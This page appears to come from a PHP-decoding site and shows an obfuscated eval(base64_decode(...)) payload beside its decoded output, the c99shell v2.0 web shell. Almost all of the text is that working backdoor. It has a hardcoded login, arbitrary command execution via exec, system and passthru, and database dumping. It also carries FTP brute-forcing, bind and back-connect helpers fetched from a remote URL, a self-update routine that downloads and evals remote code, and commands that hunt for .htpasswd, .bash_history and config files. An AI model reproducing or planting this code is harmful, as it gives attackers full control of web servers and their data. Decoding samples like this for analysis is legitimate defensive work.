Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("JHNoZWxsVXNlciA9ICJqb19NY0pSa0hvIjskc2hlbGxNRDUgPSAiYTAzNmUwZmN..

Decoded Output download

$shellUser = "jo_McJRkHo";$shellMD5 = "a036e0fcfd4098677ef51f5ce92439ef";/*
******************************************************************************************************
       ________  ________    _________.__           .__  .__             ________     _______   
  ____/   __   \/   __   \  /   _____/|  |__   ____ |  | |  |   ___  __  \_____  \    \   _  \  
_/ ___\____    /\____    /  \_____  \ |  |  \_/ __ \|  | |  |   \  \/ /   /  ____/    /  /_\  \ 
\  \___  /    /    /    /   /        \|   Y  \  ___/|  |_|  |__  \   /   /       \    \  \_/   \
 \___  >/____/    /____/   /_______  /|___|  /\___  >____/____/   \_/ /\ \_______ \ /\ \_____  /
     \/                            \/      \/     \/                  \/         \/ \/       \/ 
 _             _   __      _               _                 _      
| |           | | / /     (_)             | |               (_)     
| |__  _   _  | |/ /  __ _ _ _______ _ __ | |     ___  _   _ _  ___ 
| '_ \| | | | |    \ / _` | |_  / _ \ '_ \| |    / _ \| | | | |/ _ \
| |_) | |_| | | |\  \ (_| | |/ /  __/ | | | |___| (_) | |_| | |  __/
|_.__/ \__, | \_| \_/\__,_|_/___\___|_| |_\_____/\___/ \__,_|_|\___|
        __/ |                                                       
       |___/                                                        
*			c99shell.php v.2.0 (PHP 7) (25.02.2019) Updated by: KaizenLouie for PHP 7
*			https://github.com/KaizenLouie/C99Shell-PHP7
******************************************************************************************************
*/


function clean($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

if (!empty($_POST['userLogin']) && !empty($_POST['passLogin'])) {
    $user = clean($_POST['userLogin']);
    $password = clean($_POST['passLogin']);
    if ($user == $shellUser && md5(sha1($password)) == $shellMD5) {
        setcookie("user", $user, time()+21600,'/');
        setcookie("t3rr0r", $password, time()+21600,'/');
        header("Refresh:0");
    }
}

if (isset($_COOKIE["t3rr0r"]) && md5(sha1($_COOKIE["t3rr0r"])) == $shellMD5 && isset($_COOKIE["user"]) && $_COOKIE["user"] == $shellUser) {

if (!function_exists("getmicrotime"))
{
    function getmicrotime()
    {
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
    }
}
error_reporting(5);
@ignore_user_abort(true);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
define("starttime", getmicrotime());
if (get_magic_quotes_gpc())
{
    if (!function_exists("strips"))
    {
        function strips(&$arr, $k = "")
        {
            if (is_array($arr))
            {
                foreach ($arr as $k => $v)
                {
                    if (strtoupper($k) != "GLOBALS")
                    {
                        strips($arr["$k"]);
                    }
                }
            }
            else
            {
                $arr = stripslashes($arr);
            }
        }
    }
    strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
foreach ($_REQUEST as $k => $v)
{
    if (!isset($$k))
    {
        $$k = $v;
    }
}
$shver = "2.0 [PHP 7 Update] [25.02.2019]";
if (!empty($unset_surl))
{
    setcookie("c99sh_surl");
    $surl = "";
}
elseif (!empty($set_surl))
{
    $surl = $set_surl;
    setcookie("c99sh_surl", $surl);
}
else
{
    $surl = $_REQUEST["c99sh_surl"];
}
$surl_autofill_include = true;
if ($surl_autofill_include and !$_REQUEST["c99sh_surl"])
{
    $include = "&";
    foreach (explode("&", getenv("QUERY_STRING")) as $v)
    {
        $v = explode("=", $v);
        $name = urldecode($v[0]);
        $value = urldecode($v[1]);
        foreach (array(
            "http://",
            "https://",
            "ssl://",
            "ftp://",
            "\"
        ) as $needle)
        {
            if (strpos($value, $needle) === 0)
            {
                $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
            }
        }
    }
    if ($_REQUEST["surl_autofill_include"])
    {
        $includestr .= "surl_autofill_include=1&";
    }
}
if (empty($surl))
{
    $surl = "?" . $includestr;
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array(
    "*"
);
$login_txt = "Restricted area";
$accessdeniedmess = "<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell v." . $shver . "</a>: access denied";
$gzipencode = true;
$updatenow = false;
$c99sh_updateurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$c99sh_sourcesurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$filestealth = true;
$donated_html = "<center><b>Owned by hacker</b></center>";
$donated_act = array(
    ""
);
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "[email protected]";
$sort_default = "0a";
$sort_save = true;
$ftypes = array(
    "html" => array(
        "html",
        "htm",
        "shtml"
    ) ,
    "txt" => array(
        "txt",
        "conf",
        "bat",
        "sh",
        "js",
        "bak",
        "doc",
        "log",
        "sfc",
        "cfg",
        "htaccess"
    ) ,
    "exe" => array(
        "sh",
        "install",
        "bat",
        "cmd"
    ) ,
    "ini" => array(
        "ini",
        "inf"
    ) ,
    "code" => array(
        "php",
        "phtml",
        "php3",
        "php4",
        "inc",
        "tcl",
        "h",
        "c",
        "cpp",
        "py",
        "cgi",
        "pl"
    ) ,
    "img" => array(
        "gif",
        "png",
        "jpeg",
        "jfif",
        "jpg",
        "jpe",
        "bmp",
        "ico",
        "tif",
        "tiff",
        "avi",
        "mpg",
        "mpeg"
    ) ,
    "sdb" => array(
        "sdb"
    ) ,
    "phpsess" => array(
        "sess"
    ) ,
    "download" => array(
        "exe",
        "com",
        "pif",
        "src",
        "lnk",
        "zip",
        "rar",
        "gz",
        "tar"
    )
);
$exeftypes = array(
    getenv("PHPRC") . " -q %f%" => array(
        "php",
        "php3",
        "php4"
    ) ,
    "perl %f%" => array(
        "pl",
        "cgi"
    )
);
$regxp_highlight = array(
    array(
        basename($_SERVER["PHP_SELF"]) ,
        1,
        "<font color=\"yellow\">",
        "</font>"
    ) ,
    array(
        "config.php",
        1
    )
);
$safemode_diskettes = array(
    "a"
);
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "c99";
$bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
if (!$win)
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "ls -la"
        ) ,
        array(
            "find all suid files",
            "find / -type f -perm -04000 -ls"
        ) ,
        array(
            "find suid files in current dir",
            "find . -type f -perm -04000 -ls"
        ) ,
        array(
            "find all sgid files",
            "find / -type f -perm -02000 -ls"
        ) ,
        array(
            "find sgid files in current dir",
            "find . -type f -perm -02000 -ls"
        ) ,
        array(
            "find config.inc.php files",
            "find / -type f -name config.inc.php"
        ) ,
        array(
            "find config* files",
            "find / -type f -name \"config*\""
        ) ,
        array(
            "find config* files in current dir",
            "find . -type f -name \"config*\""
        ) ,
        array(
            "find all writable folders and files",
            "find / -perm -2 -ls"
        ) ,
        array(
            "find all writable folders and files in current dir",
            "find . -perm -2 -ls"
        ) ,
        array(
            "find all service.pwd files",
            "find / -type f -name service.pwd"
        ) ,
        array(
            "find service.pwd files in current dir",
            "find . -type f -name service.pwd"
        ) ,
        array(
            "find all .htpasswd files",
            "find / -type f -name .htpasswd"
        ) ,
        array(
            "find .htpasswd files in current dir",
            "find . -type f -name .htpasswd"
        ) ,
        array(
            "find all .bash_history files",
            "find / -type f -name .bash_history"
        ) ,
        array(
            "find .bash_history files in current dir",
            "find . -type f -name .bash_history"
        ) ,
        array(
            "find all .fetchmailrc files",
            "find / -type f -name .fetchmailrc"
        ) ,
        array(
            "find .fetchmailrc files in current dir",
            "find . -type f -name .fetchmailrc"
        ) ,
        array(
            "list file attributes on a Linux second extended file system",
            "lsattr -va"
        ) ,
        array(
            "show opened ports",
            "netstat -an | grep -i listen"
        )
    );
}
else
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "dir"
        ) ,
        array(
            "show opened ports",
            "netstat -an"
        )
    );
}
$sess_cookie = "c99shvars";
$usefsbuff = true;
$copy_unset = false;
$quicklaunch = array(
    array(
        "<img src=\"" . $surl . "act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",
        $surl
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.back(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.go(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=ls&d=%upd&sort=%sort"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",
        ""
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=search&d=%d"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=fsbuff&d=%d"
    ) ,
    array(
        "<b>Encoder</b>",
        $surl . "act=encoder&d=%d"
    ) ,
    array(
        "<b>Tools</b>",
        $surl . "act=tools&d=%d"
    ) ,
    array(
        "<b>Proc.</b>",
        $surl . "act=processes&d=%d"
    ) ,
    array(
        "<b>FTP brute</b>",
        $surl . "act=ftpquickbrute&d=%d"
    ) ,
    array(
        "<b>Sec.</b>",
        $surl . "act=security&d=%d"
    ) ,
    array(
        "<b>SQL</b>",
        $surl . "act=sql&d=%d"
    ) ,
    array(
        "<b>PHP-code</b>",
        $surl . "act=eval&d=%d"
    ) ,
    array(
        "<b>Update</b>",
        $surl . "act=update&d=%d"
    ) ,
    array(
        "<b>Feedback</b>",
        $surl . "act=feedback&d=%d"
    ) ,
    array(
        "<b>Self remove</b>",
        $surl . "act=selfremove"
    ) ,
    array(
        "<b>Logout</b>",
        "#\" onclick=\"if (confirm('Are you sure?')) window.close()"
    )
);
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k => $v)
{
    $tmp[] = str_replace("\*", ".*", preg_quote($v));
}
$s = "!^(" . implode("|", $tmp) . ")$!i";
if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))))
{
    exit("<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell</a>: Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow");
}
if (!empty($login))
{
    if (empty($md5_pass))
    {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
    {
        if (empty($login_txt))
        {
            $login_txt = strip_tags(preg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}
if ($act != "img")
{
    $lastdir = realpath(".");
    chdir($curdir);
    if ($selfwrite or $updatenow)
    {
        @ob_clean();
        c99sh_getupdate($selfwrite, 1);
        exit;
    }
    $sess_data = unserialize($_COOKIE["$sess_cookie"]);
    if (!is_array($sess_data))
    {
        $sess_data = array();
    }
    if (!is_array($sess_data["copy"]))
    {
        $sess_data["copy"] = array();
    }
    if (!is_array($sess_data["cut"]))
    {
        $sess_data["cut"] = array();
    }
    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc))
    {
        $disablefunc = str_replace(" ", "", $disablefunc);
        $disablefunc = explode(",", $disablefunc);
    }
    if (!function_exists("c99_buff_prepare"))
    {
        function c99_buff_prepare()
        {
            global $sess_data;
            global $act;
            foreach ($sess_data["copy"] as $k => $v)
            {
                $sess_data["copy"][$k] = str_replace("\", DIRECTORY_SEPARATOR, realpath($v));
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $sess_data["cut"][$k] = str_replace("\", DIRECTORY_SEPARATOR, realpath($v));
            }
            $sess_data["copy"] = array_unique($sess_data["copy"]);
            $sess_data["cut"] = array_unique($sess_data["cut"]);
            sort($sess_data["copy"]);
            sort($sess_data["cut"]);
            if ($act != "copy")
            {
                foreach ($sess_data["cut"] as $k => $v)
                {
                    if ($sess_data["copy"][$k] == $v)
                    {
                        unset($sess_data["copy"][$k]);
                    }
                }
            }
            else
            {
                foreach ($sess_data["copy"] as $k => $v)
                {
                    if ($sess_data["cut"][$k] == $v)
                    {
                        unset($sess_data["cut"][$k]);
                    }
                }
            }
        }
    }
    c99_buff_prepare();
    if (!function_exists("c99_sess_put"))
    {
        function c99_sess_put($data)
        {
            global $sess_cookie;
            global $sess_data;
            c99_buff_prepare();
            $sess_data = $data;
            $data = serialize($data);
            setcookie($sess_cookie, $data);
        }
    }
    foreach (array(
        "sort",
        "sql_sort"
    ) as $v)
    {
        if (!empty($_GET[$v]))
        {
            $$v = $_GET[$v];
        }
        if (!empty($_POST[$v]))
        {
            $$v = $_POST[$v];
        }
    }
    if ($sort_save)
    {
        if (!empty($sort))
        {
            setcookie("sort", $sort);
        }
        if (!empty($sql_sort))
        {
            setcookie("sql_sort", $sql_sort);
        }
    }
    if (!function_exists("str2mini"))
    {
        function str2mini($content, $len)
        {
            if (strlen($content) > $len)
            {
                $len = ceil($len / 2) - 2;
                return substr($content, 0, $len) . "..." . substr($content, -$len);
            }
            else
            {
                return $content;
            }
        }
    }
    if (!function_exists("view_size"))
    {
        function view_size($size)
        {
            if (!is_numeric($size))
            {
                return false;
            }
            else
            {
                if ($size >= 1073741824)
                {
                    $size = round($size / 1073741824 * 100) / 100 . " GB";
                }
                elseif ($size >= 1048576)
                {
                    $size = round($size / 1048576 * 100) / 100 . " MB";
                }
                elseif ($size >= 1024)
                {
                    $size = round($size / 1024 * 100) / 100 . " KB";
                }
                else
                {
                    $size = $size . " B";
                }
                return $size;
            }
        }
    }
    if (!function_exists("fs_copy_dir"))
    {
        function fs_copy_dir($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            if (substr($d, -1) != DIRECTORY_SEPARATOR)
            {
                $d .= DIRECTORY_SEPARATOR;
            }
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        $ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
                        fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_copy_obj"))
    {
        function fs_copy_obj($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\", DIRECTORY_SEPARATOR, $t);
            if (!is_dir(dirname($t)))
            {
                mkdir(dirname($t));
            }
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_copy_dir($d, $t);
            }
            elseif (is_file($d))
            {
                return copy($d, $t);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_move_dir"))
    {
        function fs_move_dir($d, $t)
        {
            $h = opendir($d);
            if (!is_dir($t))
            {
                mkdir($t);
            }
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    $ret = true;
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o))
                        {
                            $ret = false;
                        }
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_move_obj"))
    {
        function fs_move_obj($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\", DIRECTORY_SEPARATOR, $t);
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_move_dir($d, $t);
            }
            elseif (is_file($d))
            {
                if (copy($d, $t))
                {
                    return unlink($d);
                }
                else
                {
                    unlink($t);
                    return false;
                }
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_rmdir"))
    {
        function fs_rmdir($d)
        {
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . $o))
                    {
                        unlink($d . $o);
                    }
                    else
                    {
                        fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
                        rmdir($d . $o);
                    }
                }
            }
            closedir($h);
            rmdir($d);
            return !is_dir($d);
        }
    }
    if (!function_exists("fs_rmobj"))
    {
        function fs_rmobj($o)
        {
            $o = str_replace("\", DIRECTORY_SEPARATOR, $o);
            if (is_dir($o))
            {
                if (substr($o, -1) != DIRECTORY_SEPARATOR)
                {
                    $o .= DIRECTORY_SEPARATOR;
                }
                return fs_rmdir($o);
            }
            elseif (is_file($o))
            {
                return unlink($o);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("myshellexec"))
    {
        function myshellexec($cmd)
        {
            global $disablefunc;
            $result = "";
            if (!empty($cmd))
            {
                if (is_callable("exec") and !in_array("exec", $disablefunc))
                {
                    exec($cmd, $result);
                    $result = join("
", $result);
                }
                elseif (($result = `$cmd`) !== false)
                {
                }
                elseif (is_callable("system") and !in_array("system", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    system($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_callable("passthru") and !in_array("passthru", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    passthru($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_resource($fp = popen($cmd, "r")))
                {
                    $result = "";
                    while (!feof($fp))
                    {
                        $result .= fread($fp, 1024);
                    }
                    pclose($fp);
                }
            }
            return $result;
        }
    }
    if (!function_exists("tabsort"))
    {
        function tabsort($a, $b)
        {
            global $v;
            return strnatcmp($a[$v], $b[$v]);
        }
    }
    if (!function_exists("view_perms"))
    {
        function view_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $type = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $type = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $type = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $type = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $type = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $type = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $type = "p";
            }
            else
            {
                $type = "?";
            }
            $owner["read"] = ($mode & 00400) ? "r" : "-";
            $owner["write"] = ($mode & 00200) ? "w" : "-";
            $owner["execute"] = ($mode & 00100) ? "x" : "-";
            $group["read"] = ($mode & 00040) ? "r" : "-";
            $group["write"] = ($mode & 00020) ? "w" : "-";
            $group["execute"] = ($mode & 00010) ? "x" : "-";
            $world["read"] = ($mode & 00004) ? "r" : "-";
            $world["write"] = ($mode & 00002) ? "w" : "-";
            $world["execute"] = ($mode & 00001) ? "x" : "-";
            if ($mode & 0x800)
            {
                $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x400)
            {
                $group["execute"] = ($group["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x200)
            {
                $world["execute"] = ($world["execute"] == "x") ? "t" : "T";
            }
            return $type . join("", $owner) . join("", $group) . join("", $world);
        }
    }
    if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc))
    {
        function posix_getpwuid($uid)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc))
    {
        function posix_getgrgid($gid)
        {
            return false;
        }
    }
    if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc))
    {
        function posix_kill($gid)
        {
            return false;
        }
    }
    if (!function_exists("parse_perms"))
    {
        function parse_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $t = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $t = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $t = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $t = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $t = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $t = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $t = "p";
            }
            else
            {
                $t = "?";
            }
            $o["r"] = ($mode & 00400) > 0;
            $o["w"] = ($mode & 00200) > 0;
            $o["x"] = ($mode & 00100) > 0;
            $g["r"] = ($mode & 00040) > 0;
            $g["w"] = ($mode & 00020) > 0;
            $g["x"] = ($mode & 00010) > 0;
            $w["r"] = ($mode & 00004) > 0;
            $w["w"] = ($mode & 00002) > 0;
            $w["x"] = ($mode & 00001) > 0;
            return array(
                "t" => $t,
                "o" => $o,
                "g" => $g,
                "w" => $w
            );
        }
    }
    if (!function_exists("parsesort"))
    {
        function parsesort($sort)
        {
            $one = intval($sort);
            $second = substr($sort, -1);
            if ($second != "d")
            {
                $second = "a";
            }
            return array(
                $one,
                $second
            );
        }
    }
    if (!function_exists("view_perms_color"))
    {
        function view_perms_color($o)
        {
            if (!is_readable($o))
            {
                return "<font color=red>" . view_perms(fileperms($o)) . "</font>";
            }
            elseif (!is_writable($o))
            {
                return "<font color=white>" . view_perms(fileperms($o)) . "</font>";
            }
            else
            {
                return "<font color=green>" . view_perms(fileperms($o)) . "</font>";
            }
        }
    }
    if (!function_exists("c99getsource"))
    {
        function c99getsource($fn)
        {
            global $c99sh_sourcesurl;
            $array = array(
                "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
                "c99sh_bindport.c" => "c99sh_bindport_c.txt",
                "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
                "c99sh_backconn.c" => "c99sh_backconn_c.txt",
                "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
                "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
            );
            $name = $array[$fn];
            if ($name)
            {
                return file_get_contents($c99sh_sourcesurl . $name);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("c99sh_getupdate"))
    {
        function c99sh_getupdate($update = true)
        {
            $url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["shver"])) . "&updatenow=" . ($updatenow ? "1" : "0") . "&";
            $data = @file_get_contents($url);
            if (!$data)
            {
                return "Can't connect to update-server!";
            }
            else
            {
                $data = ltrim($data);
                $string = substr($data, 3, ord($data{2}));
                if ($data{0} == "" and $data{1} == "")
                {
                    return "Error: " . $string;
                    return false;
                }
                if ($data{0} == "" and $data{1} == "")
                {
                    return "You are using latest version!";
                }
                if ($data{0} == "" and $data{1} == "")
                {
                    $string = explode("", $string);
                    if ($update)
                    {
                        $confvars = array();
                        $sourceurl = $string[0];
                        $source = file_get_contents($sourceurl);
                        if (!$source)
                        {
                            return "Can't fetch update!";
                        }
                        else
                        {
                            $fp = fopen(__FILE__, "w");
                            if (!$fp)
                            {
                                return "Local error: can't write update to " . __FILE__ . "! You may download c99shell.php manually <a href=\"" . $sourceurl . "\"><u>here</u></a>.";
                            }
                            else
                            {
                                fwrite($fp, $source);
                                fclose($fp);
                                return "Thanks! Updated with success.";
                            }
                        }
                    }
                    else
                    {
                        return "New version are available: " . $string[1];
                    }
                }
                elseif ($data{0} == "" and $data{1} == "")
                {
                    eval($string);
                    return 1;
                }
                else
                {
                    return "Error in protocol: segmentation failed! (" . $data . ") ";
                }
            }
        }
    }
    if (!function_exists("mysql_dump"))
    {
        function mysql_dump($set)
        {
            global $shver;
            $sock = $set["sock"];
            $db = $set["db"];
            $print = $set["print"];
            $nl2br = $set["nl2br"];
            $file = $set["file"];
            $add_drop = $set["add_drop"];
            $tabs = $set["tabs"];
            $onlytabs = $set["onlytabs"];
            $ret = array();
            $ret["err"] = array();
            if (!is_resource($sock))
            {
                echo ("Error: \$sock is not valid resource.");
            }
            if (empty($db))
            {
                $db = "db";
            }
            if (empty($print))
            {
                $print = 0;
            }
            if (empty($nl2br))
            {
                $nl2br = 0;
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (empty($file))
            {
                $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
            }
            if (!is_array($tabs))
            {
                $tabs = array();
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (sizeof($tabs) == 0)
            {
                $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
                if (mysql_num_rows($res) > 0)
                {
                    while ($row = mysql_fetch_row($res))
                    {
                        $tabs[] = $row[0];
                    }
                }
            }
            $out = "# Dumped by C99Shell.SQL v. " . $shver . "
					# Home page: https://github.com/KaizenLouie/C99Shell-PHP7
					#
					# Host settings:
					# MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
					# Date: " . date("d.m.Y H:i:s") . "
					# DB: \"" . $db . "\"
					#---------------------------------------------------------
";
            $c = count($onlytabs);
            foreach ($tabs as $tab)
            {
                if ((in_array($tab, $onlytabs)) or (!$c))
                {
                    if ($add_drop)
                    {
                        $out .= "DROP TABLE IF EXISTS `" . $tab . "`;
";
                    }
                    $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
                    if (!$res)
                    {
                        $ret["err"][] = mysql_smarterror();
                    }
                    else
                    {
                        $row = mysql_fetch_row($res);
                        $out .= $row["1"] . ";

";
                        $res = mysql_query("SELECT * FROM `$tab`", $sock);
                        if (mysql_num_rows($res) > 0)
                        {
                            while ($row = mysql_fetch_assoc($res))
                            {
                                $keys = implode("`, `", array_keys($row));
                                $values = array_values($row);
                                foreach ($values as $k => $v)
                                {
                                    $values[$k] = addslashes($v);
                                }
                                $values = implode("', '", $values);
                                $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');
";
                                $out .= $sql;
                            }
                        }
                    }
                }
            }
            $out .= "#---------------------------------------------------------------------------------

";
            if ($file)
            {
                $fp = fopen($file, "w");
                if (!$fp)
                {
                    $ret["err"][] = 2;
                }
                else
                {
                    fwrite($fp, $out);
                    fclose($fp);
                }
            }
            if ($print)
            {
                if ($nl2br)
                {
                    echo nl2br($out);
                }
                else
                {
                    echo $out;
                }
            }
            return $out;
        }
    }
    if (!function_exists("mysql_buildwhere"))
    {
        function mysql_buildwhere($array, $sep = " and", $functs = array())
        {
            if (!is_array($array))
            {
                $array = array();
            }
            $result = "";
            foreach ($array as $k => $v)
            {
                $value = "";
                if (!empty($functs[$k]))
                {
                    $value .= $functs[$k] . "(";
                }
                $value .= "'" . addslashes($v) . "'";
                if (!empty($functs[$k]))
                {
                    $value .= ")";
                }
                $result .= "`" . $k . "` = " . $value . $sep;
            }
            $result = substr($result, 0, strlen($result) - strlen($sep));
            return $result;
        }
    }
    if (!function_exists("mysql_fetch_all"))
    {
        function mysql_fetch_all($query, $sock)
        {
            if ($sock)
            {
                $result = mysql_query($query, $sock);
            }
            else
            {
                $result = mysql_query($query);
            }
            $array = array();
            while ($row = mysql_fetch_array($result))
            {
                $array[] = $row;
            }
            mysql_free_result($result);
            return $array;
        }
    }
    if (!function_exists("mysql_smarterror"))
    {
        function mysql_smarterror($type, $sock)
        {
            if ($sock)
            {
                $error = mysql_error($sock);
            }
            else
            {
                $error = mysql_error();
            }
            $error = htmlspecialchars($error);
            return $error;
        }
    }
    if (!function_exists("mysql_query_form"))
    {
        function mysql_query_form()
        {
            global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
            if (($submit) and (!$sql_query_result) and ($sql_confirm))
            {
                if (!$sql_query_error)
                {
                    $sql_query_error = "Query was empty";
                }
                echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
            }
            if ($sql_query_result or (!$sql_confirm))
            {
                $sql_act = $sql_goto;
            }
            if ((!$submit) or ($sql_act))
            {
                echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>";
                if (($sql_query) and (!$submit))
                {
                    echo "Do you really want to";
                }
                else
                {
                    echo "SQL-Query";
                }
